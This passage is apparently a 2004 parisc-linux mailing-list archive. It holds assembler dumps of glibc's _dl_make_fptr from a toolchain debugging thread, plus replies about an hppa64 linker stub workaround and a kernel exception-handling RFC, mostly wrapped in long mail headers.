>     0x4126323c <_dl_make_fptr+408>: addil 0,r4,%r1
>     0x41263240 <_dl_make_fptr+412>: copy r1,r20
>     0x41263244 <_dl_make_fptr+416>: ldw 62c(,r20),r20
>     0x41263248 <_dl_make_fptr+420>: ldw 0(,r20),r26
>     0x4126324c <_dl_make_fptr+424>: addil 0,r4,%r1
>     0x41263250 <_dl_make_fptr+428>: ldw 5e8(,r1),r21
>     0x41263254 <_dl_make_fptr+432>: b,l 0x41263194 <_dl_make_fptr+240>,r0
>     0x41263258 <_dl_make_fptr+436>: copy r21,r23
>  [...]
> 
> and for gcc-3.4:
> Dump of assembler code from 0x4128571c to 0x4128581c:
>     0x4128571c <_dl_make_fptr+76>:  ldw 1fc(,r26),r6    <====[2]
>     0x41285720 <_dl_make_fptr+80>:  cmpib,= 0,r6,0x412858f4 
> <_dl_make_fptr+548>    <===='call' make_fptr_table()
>     0x41285724 <_dl_make_fptr+84>:  copy r25,r3
>     0x41285728 <_dl_make_fptr+88>:  ldw 1f8(,r26),ret1
>     0x4128572c <_dl_make_fptr+92>:  ldw 30(,r10),r21
>     0x41285730 <_dl_make_fptr+96>:  ldw 4(,r21),r20
>     0x41285734 <_dl_make_fptr+100>: sub r3,r20,r20
>     0x41285738 <_dl_make_fptr+104>: extrw,s r20,27,28,r7
>     0x4128573c <_dl_make_fptr+108>: cmpb,>>=,n r7,ret1,0x412859d0 
> <_dl_make_fptr+768>
>     0x41285740 <_dl_make_fptr+112>: ldw,s r7(,r6),ret0
>     0x41285744 <_dl_make_fptr+116>: cmpib,<> 0,ret0,0x412857c8 
> <_dl_make_fptr+248>
>     0x41285748 <_dl_make_fptr+120>: addil 0,r19,%r1
>     0x4128574c <_dl_make_fptr+124>: depw,z r7,29,30,r11
>     0x41285750 <_dl_make_fptr+128>: ldw 638(,r1),r13
>     0x41285754 <_dl_make_fptr+132>: addil 0,r19,%r1
>     0x41285758 <_dl_make_fptr+136>: ldw 5c0(,r1),r5
>     0x4128575c <_dl_make_fptr+140>: addil 0,r19,%r1
>     0x41285760 <_dl_make_fptr+144>: ldo -78(sp),r14
>     0x41285764 <_dl_make_fptr+148>: ldw 610(,r1),r16
>     0x41285768 <_dl_make_fptr+152>: add,l r11,r6,r15
>     0x4128576c <_dl_make_fptr+156>: copy r5,r9
>     0x41285770 <_dl_make_fptr+160>: ldw 24(,r10),r20
>     0x41285774 <_dl_make_fptr+164>: ldw 4(,r20),r8
>     0x41285778 <_dl_make_fptr+168>: ldw 0(,r5),r3
>     0x4128577c <_dl_make_fptr+172>: ldw 4(,r3),r23
>     0x41285780 <_dl_make_fptr+176>: ldw 8(,r3),r20
>     0x41285784 <_dl_make_fptr+180>: cmpb,>>= r20,r23,0x4128580c 
> <_dl_make_fptr+316>
>     0x41285788 <_dl_make_fptr+184>: ldo 1(r20),r22
>     0x4128578c <_dl_make_fptr+188>: ldw 8(,r3),r21
>     0x41285790 <_dl_make_fptr+192>: cmpb,<> r20,r21,0x41285780 
> <_dl_make_fptr+176>
>     0x41285794 <_dl_make_fptr+196>: shladd,l r21,3,r3,r20
>     0x41285798 <_dl_make_fptr+200>: stw r22,8(,r3)
>     0x4128579c <_dl_make_fptr+204>: ldo c(r20),r26
>     0x412857a0 <_dl_make_fptr+208>: stw r8,4(,r26)
>     0x412857a4 <_dl_make_fptr+212>: stw r12,0(,r26)
>     0x412857a8 <_dl_make_fptr+216>: ldw r11(,r6),r20
>     0x412857ac <_dl_make_fptr+220>: cmpib,=,n 0,r20,0x412858a8 
> <_dl_make_fptr+472>
>     0x412857b0 <_dl_make_fptr+224>: ldw 4(,r9),r20
>     0x412857b4 <_dl_make_fptr+228>: stw r20,0(,r26)
>     0x412857b8 <_dl_make_fptr+232>: stw r26,4(,r9)
>     0x412857bc <_dl_make_fptr+236>: ldw,s r7(,r6),ret0
>     0x412857c0 <_dl_make_fptr+240>: cmpib,=,n 0,ret0,0x41285774 
> <_dl_make_fptr+164>
>     0x412857c4 <_dl_make_fptr+244>: ldw 24(,r10),r20
>     0x412857c8 <_dl_make_fptr+248>: ldw -94(,sp),rp
>     0x412857cc <_dl_make_fptr+252>: ldw -74(,sp),r16
>     0x412857d0 <_dl_make_fptr+256>: ldw -70(,sp),r15
>     0x412857d4 <_dl_make_fptr+260>: ldw -6c(,sp),r14
>     0x412857d8 <_dl_make_fptr+264>: ldw -68(,sp),r13
>     0x412857dc <_dl_make_fptr+268>: ldw -64(,sp),r12
>     0x412857e0 <_dl_make_fptr+272>: ldw -60(,sp),r11
>     0x412857e4 <_dl_make_fptr+276>: ldw -5c(,sp),r10
>     0x412857e8 <_dl_make_fptr+280>: ldw -58(,sp),r9
>     0x412857ec <_dl_make_fptr+284>: ldw -54(,sp),r8
>     0x412857f0 <_dl_make_fptr+288>: ldw -50(,sp),r7
>     0x412857f4 <_dl_make_fptr+292>: ldw -4c(,sp),r6
>     0x412857f8 <_dl_make_fptr+296>: ldw -48(,sp),r5
>     0x412857fc <_dl_make_fptr+300>: ldw -44(,sp),r4
>     0x41285800 <_dl_make_fptr+304>: ldw -40(,sp),r3
>     0x41285804 <_dl_make_fptr+308>: bv r0(rp)
>     0x41285808 <_dl_make_fptr+312>: ldo -80(sp),sp
>     0x4128580c <_dl_make_fptr+316>: ldw 4(,r5),r20
>     0x41285810 <_dl_make_fptr+320>: cmpib,<>,n 0,r20,0x41285984 
> <_dl_make_fptr+692>
>     0x41285814 <_dl_make_fptr+324>: ldw 8(,r5),r21
>     0x41285818 <_dl_make_fptr+328>: depw,z r21,30,31,r20
> 
> Dump of assembler code from 0x412858f4 to 0x412859f4:
>     0x412858f4 <_dl_make_fptr+548>: ldw 30(,r26),r20    <==== 
> map->l_mach.fptr_table()
>     0x412858f8 <_dl_make_fptr+552>: ldw 4(,r20),r21
>     0x412858fc <_dl_make_fptr+556>: addil 0,r19,%r1
>     0x41285900 <_dl_make_fptr+560>: copy r1,r22
>     0x41285904 <_dl_make_fptr+564>: ldw 2c(,r26),r20
>     0x41285908 <_dl_make_fptr+568>: ldw 4(,r20),r26
>     0x4128590c <_dl_make_fptr+572>: sub r26,r21,r26
>     0x41285910 <_dl_make_fptr+576>: ldw 44(,r10),r20
>     0x41285914 <_dl_make_fptr+580>: ldw 4(,r20),r25
>     0x41285918 <_dl_make_fptr+584>: b,l 0x41287d60 <$$divU>,r31
>     0x4128591c <_dl_make_fptr+588>: copy r19,r4
>     0x41285920 <_dl_make_fptr+592>: ldi -1,r20
>     0x41285924 <_dl_make_fptr+596>: stw r20,-34(,sp)
>     0x41285928 <_dl_make_fptr+600>: ldi 0,r26
>     0x4128592c <_dl_make_fptr+604>: ldw 638(,r22),r20
>     0x41285930 <_dl_make_fptr+608>: ldw 4(,r20),r25
>     0x41285934 <_dl_make_fptr+612>: depw,z ret1,29,30,r5
>     0x41285938 <_dl_make_fptr+616>: ldi 3,r24
>     0x4128593c <_dl_make_fptr+620>: sub r0,r25,r20
>     0x41285940 <_dl_make_fptr+624>: copy ret1,r6
>     0x41285944 <_dl_make_fptr+628>: stw r0,-38(,sp)
>     0x41285948 <_dl_make_fptr+632>: add,l r5,r25,r25
>     0x4128594c <_dl_make_fptr+636>: ldi 12,r23
>     0x41285950 <_dl_make_fptr+640>: ldo -1(r25),r25
>     0x41285954 <_dl_make_fptr+644>: b,l 0x412869a8 <__mmap>,rp
>     0x41285958 <_dl_make_fptr+648>: and r25,r20,r25
>     0x4128595c <_dl_make_fptr+652>: copy r4,r19
>     0x41285960 <_dl_make_fptr+656>: cmpib,= -1,ret0,0x412859e0 
> <_dl_make_fptr+784>
>     0x41285964 <_dl_make_fptr+660>: copy ret0,r26
>     0x41285968 <_dl_make_fptr+664>: ldw 1fc(,r10),r20
>     0x4128596c <_dl_make_fptr+668>: cmpib,<>,n 0,r20,0x412859a0 
> <_dl_make_fptr+720>
>     0x41285970 <_dl_make_fptr+672>: copy r6,ret1
>     0x41285974 <_dl_make_fptr+676>: stw r6,1f8(,r10)
>     0x41285978 <_dl_make_fptr+680>: ldw 1fc(,r10),r6
>     0x4128597c <_dl_make_fptr+684>: b,l 0x4128572c <_dl_make_fptr+92>,r0
>     0x41285980 <_dl_make_fptr+688>: stw ret0,1fc(,r10)    <==== return 
> map->l_mach.fptr_table;
>     0x41285984 <_dl_make_fptr+692>: copy r20,r26
>     0x41285988 <_dl_make_fptr+696>: ldw 0(,r20),r20
>     0x4128598c <_dl_make_fptr+700>: b,l 0x412857a0 <_dl_make_fptr+208>,r0
>     0x41285990 <_dl_make_fptr+704>: stw r20,4(,r5)
>     0x41285994 <_dl_make_fptr+708>: stw ret0,0(,r5)
>     0x41285998 <_dl_make_fptr+712>: b,l 0x412857a0 <_dl_make_fptr+208>,r0
>     0x4128599c <_dl_make_fptr+716>: ldo c(ret0),r26
>     0x412859a0 <_dl_make_fptr+720>: b,l 0x41286a04 <munmap>,rp
>     0x412859a4 <_dl_make_fptr+724>: copy r5,r25
>     0x412859a8 <_dl_make_fptr+728>: ldw 1f8(,r10),ret1
>     0x412859ac <_dl_make_fptr+732>: ldw 1fc(,r10),r6
>     0x412859b0 <_dl_make_fptr+736>: b,l 0x4128572c <_dl_make_fptr+92>,r0
>     0x412859b4 <_dl_make_fptr+740>: copy r4,r19
>     0x412859b8 <_dl_make_fptr+744>: addil 0,r4,%r1
>     0x412859bc <_dl_make_fptr+748>: ldw 0(,r16),r26
>     0x412859c0 <_dl_make_fptr+752>: ldw 5c4(,r1),r23
>     0x412859c4 <_dl_make_fptr+756>: ldi 0,r25
>     0x412859c8 <_dl_make_fptr+760>: b,l 0x41280f10 <_dl_signal_error>,rp
>     0x412859cc <_dl_make_fptr+764>: ldi 0,r24
>     0x412859d0 <_dl_make_fptr+768>: addil 0,r19,%r1
>     0x412859d4 <_dl_make_fptr+772>: ldi 0,r26
>     0x412859d8 <_dl_make_fptr+776>: b,l 0x412859c4 <_dl_make_fptr+756>,r0
>     0x412859dc <_dl_make_fptr+780>: ldw 5c8(,r1),r23
>     0x412859e0 <_dl_make_fptr+784>: addil 0,r4,%r1
>     0x412859e4 <_dl_make_fptr+788>: ldw 610(,r1),r20
>     0x412859e8 <_dl_make_fptr+792>: ldw 0(,r20),r26
>     0x412859ec <_dl_make_fptr+796>: addil 0,r4,%r1
>     0x412859f0 <_dl_make_fptr+800>: b,l 0x412859c4 <_dl_make_fptr+756>,r0
> End of assembler dump.
> 
> I have to thought more on how to create a test case (all advise is 
> always well come :) )
> 
> Joel
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] is this a known hppa64-linux-ld bug?
Date: Sat, 11 Sep 2004 18:37:28 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200409112237.i8BMbT3Y006469@hiauly1.hia.nrc.ca>
References: <1094910543.1714.5.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623550 10999 80.91.229.3 (22 Nov 2014 02:32:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12891 invoked by uid 65534); 11 Sep 2004 22:38:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 12 Sep 2004 00:38:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 41A9F3BDD6; Sat, 11 Sep 2004 16:38:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26384-03; Sat, 11 Sep 2004 16:38:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B1F563BDF4; Sat, 11 Sep 2004 16:37:36 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E7E5E3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 16:37:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24407-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 16:37:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 431B33BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 16:37:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8BMbT45006470; Sat, 11 Sep 2004 18:37:30 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8BMbT3Y006469;
	Sat, 11 Sep 2004 18:37:29 -0400 (EDT)
In-Reply-To: <1094910543.1714.5.camel@mulgrave> from "James Bottomley" at Sep
	11, 2004 09:48:56 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21967

> > does anybody have a suggestion for a workaround? 
> 
> I'm glad you didn't say "good" work around.  How about just building the
> stub ourselves:
> 
> 3:	ldil	L%2b,%r19
> 	ldo	R%2b(%r19),%r19
> 	bv,n	0(%r19)
> 
> This is certainly more efficient than the linker could ever do since we
> know that even on LP64 the kernel lies under 4GB.

If the branch always uses the same space register, you can shorten the
above sequence to something like:

3:	ldil	L%2b,%r19
	be,n	R%2b(%sr4,%r19)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Sat, 11 Sep 2004 18:49:45 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200409112249.i8BMnjCA006552@hiauly1.hia.nrc.ca>
References: <20040911165325.GO28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623550 11005 80.91.229.3 (22 Nov 2014 02:32:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3159 invoked by uid 65534); 11 Sep 2004 22:50:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 12 Sep 2004 00:50:34 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A8CDB3BE05; Sat, 11 Sep 2004 16:50:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26406-09; Sat, 11 Sep 2004 16:50:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 724953BDF6; Sat, 11 Sep 2004 16:49:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3348D3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 16:49:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26406-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 16:49:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D318E3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 16:49:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8BMnj45006554; Sat, 11 Sep 2004 18:49:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8BMnjCA006552;
	Sat, 11 Sep 2004 18:49:45 -0400 (EDT)
In-Reply-To: <20040911165325.GO28659@tausq.org> from "Randolph Chung" at Sep
	11, 2004 12:53:25 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21968

> [1] The change to using absolute jumps is because gas doesn't want to
> let us take the difference of labels in two different sections (viz.
> .text vs .fixup). jejb and I are not able to come up with a case where
> using relative jumps is required.

Right.  However, there is a way to do 32/64 bit pc-relative offsets.
The table entries need to look like "L$1+(.+8-L$0)-$PIC_pcrel$0".
GAS needs to be reasonably new to support this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Sun, 12 Sep 2004 09:10:07 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20040912130959.GK1854@baldric.uwo.ca>
References: <20040911165325.GO28659@tausq.org>
	<200409112249.i8BMnjCA006552@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623550 11012 80.91.229.3 (22 Nov 2014 02:32:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5839 invoked by uid 65534); 12 Sep 2004 13:11:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 12 Sep 2004 15:11:19 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 60A5F3BE22; Sun, 12 Sep 2004 07:11:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32471-09; Sun, 12 Sep 2004 07:11:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D36EE3BE15; Sun, 12 Sep 2004 07:10:25 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 018413BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 07:10:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32122-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 07:10:18 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id AECD43BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 07:10:17 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C6U7L-0006S0-00; Sun, 12 Sep 2004 09:10:07 -0400
Content-Disposition: inline
In-Reply-To: <200409112249.i8BMnjCA006552@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21969

On Sat, Sep 11, 2004 at 06:49:45PM -0400, John David Anglin wrote:
> > [1] The change to using absolute jumps is because gas doesn't want to
> > let us take the difference of labels in two different sections (viz.
> > .text vs .fixup). jejb and I are not able to come up with a case where
> > using relative jumps is required.
> 
> Right.  However, there is a way to do 32/64 bit pc-relative offsets.
> The table entries need to look like "L$1+(.+8-L$0)-$PIC_pcrel$0".
> GAS needs to be reasonably new to support this.

Interesting.

I thought I needed relative fixups, then I realized I was wrong.

I use exception fixups for LWS on the gateway page, but I can
just fudge the exception entries differently. No big problem
since I have to do a fixed relocation on them anyway.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: 12 Sep 2004 09:58:15 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <1094997501.1714.4.camel@mulgrave>
References: <20040911165325.GO28659@tausq.org> 
	<20040912134707.GL1854@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623551 11017 80.91.229.3 (22 Nov 2014 02:32:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:31 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15982 invoked by uid 65534); 12 Sep 2004 13:59:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 12 Sep 2004 15:59:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2187D3BE22; Sun, 12 Sep 2004 07:59:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02965-02; Sun, 12 Sep 2004 07:59:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4A39A3BE23; Sun, 12 Sep 2004 07:59:00 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0737B3BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 07:58:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
